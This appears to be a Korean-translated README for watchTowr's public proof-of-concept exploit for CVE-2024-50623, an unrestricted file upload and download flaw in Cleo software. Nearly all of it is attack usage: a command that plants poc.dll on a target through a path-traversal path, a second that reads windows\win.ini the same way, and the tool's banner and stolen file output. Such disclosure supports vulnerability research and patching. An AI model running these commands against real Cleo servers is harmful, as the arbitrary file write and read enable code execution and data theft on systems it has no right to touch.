watchtowrlabs/cve-2024-50623Cleo 무제한 파일 업로드 및 다운로드 PoC (CVE-2024-50623)
Cleo 제한 없는 파일 업로드 및 다운로드 PoC (CVE-2024-50623)
python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action write --what poc.dll --where "..\..\..\..\poc.dll"
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
CVE-2024-50623.py
(*) Cleo 제한 없는 파일 업로드 및 다운로드 취약점 (CVE-2024-50623)
- Sonny and Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2024-50623]
[INFO] 파일 쓰기 성공
python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action read --what CVE-2024-50623.py --where "..\..\windows\win.ini"
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
CVE-2024-50623.py
(*) Cleo 제한 없는 파일 업로드 및 다운로드 취약점 (CVE-2024-50623)
- Sonny and Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2024-50623]
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
이 익스플로잇은 watchTowr (@watchtowrcyber)의 Sonny와 Sina Kheirkhah (@SinSinology)가 작성했습니다.
최신 보안 연구를 원하시면 watchTowr 연구소 팀을 팔로우하세요.